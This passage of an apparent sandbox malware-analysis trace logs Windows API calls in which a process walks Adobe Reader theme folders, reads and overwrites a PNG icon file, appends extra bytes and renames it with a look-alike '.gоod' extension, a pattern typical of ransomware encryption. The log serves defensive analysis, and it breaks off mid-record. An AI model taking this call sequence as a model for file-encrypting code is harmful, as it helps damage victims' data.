[0131.585] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes", lpFilePart=0x0) returned 0x6c [0131.585] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.585] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.586] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0131.586] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0131.586] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0131.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0132.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0132.336] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes", lpFilePart=0x0) returned 0x6c [0132.336] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.337] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.337] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0132.337] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.337] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0132.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0132.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0132.337] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark", lpFilePart=0x0) returned 0x71 [0132.337] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6004, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1 [0132.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x77ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1 [0132.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1 [0132.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.340] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0132.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0132.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0132.340] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark", lpFilePart=0x0) returned 0x71 [0132.340] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6004, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1 [0132.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x77ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1 [0132.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1 [0132.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 0 [0132.342] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0132.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0132.343] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", lpFilePart=0x0) returned 0x84 [0132.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0132.343] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x3786b50 | out: lpFileInformation=0x3786b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6004)) returned 1 [0132.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0132.344] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fde9fb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", lpFilePart=0x0) returned 0x84 [0132.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea4d0) returned 1 [0132.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.345] GetFileType (hFile=0x640) returned 0x1 [0132.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea440) returned 1 [0132.345] GetFileType (hFile=0x640) returned 0x1 [0132.345] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdea628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdea628*=0) returned 0x1000 [0132.345] ReadFile (in: hFile=0x640, lpBuffer=0x3787078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea5f8, lpOverlapped=0x0 | out: lpBuffer=0x3787078*, lpNumberOfBytesRead=0x1fdea5f8*=0x1000, lpOverlapped=0x0) returned 1 [0132.346] CloseHandle (hObject=0x640) returned 1 [0132.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fde9fb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", lpFilePart=0x0) returned 0x84 [0132.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea4d0) returned 1 [0132.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.347] GetFileType (hFile=0x640) returned 0x1 [0132.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea440) returned 1 [0132.347] GetFileType (hFile=0x640) returned 0x1 [0132.347] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdea628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdea628*=0) returned 0x6004 [0132.347] WriteFile (in: hFile=0x640, lpBuffer=0x3788460*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdea518, lpOverlapped=0x0 | out: lpBuffer=0x3788460*, lpNumberOfBytesWritten=0x1fdea518*=0x10, lpOverlapped=0x0) returned 1 [0132.348] CloseHandle (hObject=0x640) returned 1 [0132.348] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fde9fb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", lpFilePart=0x0) returned 0x84 [0132.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea4d0) returned 1 [0132.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.348] GetFileType (hFile=0x640) returned 0x1 [0132.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea440) returned 1 [0132.348] GetFileType (hFile=0x640) returned 0x1 [0132.348] ReadFile (in: hFile=0x640, lpBuffer=0x378a7a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea5a8, lpOverlapped=0x0 | out: lpBuffer=0x378a7a8*, lpNumberOfBytesRead=0x1fdea5a8*=0x1000, lpOverlapped=0x0) returned 1 [0132.378] CloseHandle (hObject=0x640) returned 1 [0132.378] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fde9fb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", lpFilePart=0x0) returned 0x84 [0132.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea4d0) returned 1 [0132.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.379] GetFileType (hFile=0x640) returned 0x1 [0132.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea440) returned 1 [0132.379] GetFileType (hFile=0x640) returned 0x1 [0132.379] WriteFile (in: hFile=0x640, lpBuffer=0x3789478*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdea658, lpOverlapped=0x0 | out: lpBuffer=0x3789478*, lpNumberOfBytesWritten=0x1fdea658*=0x1010, lpOverlapped=0x0) returned 1 [0132.792] CloseHandle (hObject=0x640) returned 1 [0132.792] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png", lpFilePart=0x0) returned 0x84 [0132.792] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png.gоod", lpFilePart=0x0) returned 0x89 [0132.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0132.792] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b5dca74, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6014)) returned 1 [0132.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0132.792] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons.png.gоod")) returned 1 [0132.793] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", lpFilePart=0x0) returned 0x91 [0132.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0132.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x37aef50 | out: lpFileInformation=0x37aef50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x77ad)) returned 1 [0132.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0132.793] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\aic_file_icons_retina_thumb.png", nBufferLength=0x105, lpBuffer=0x1fde9fb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 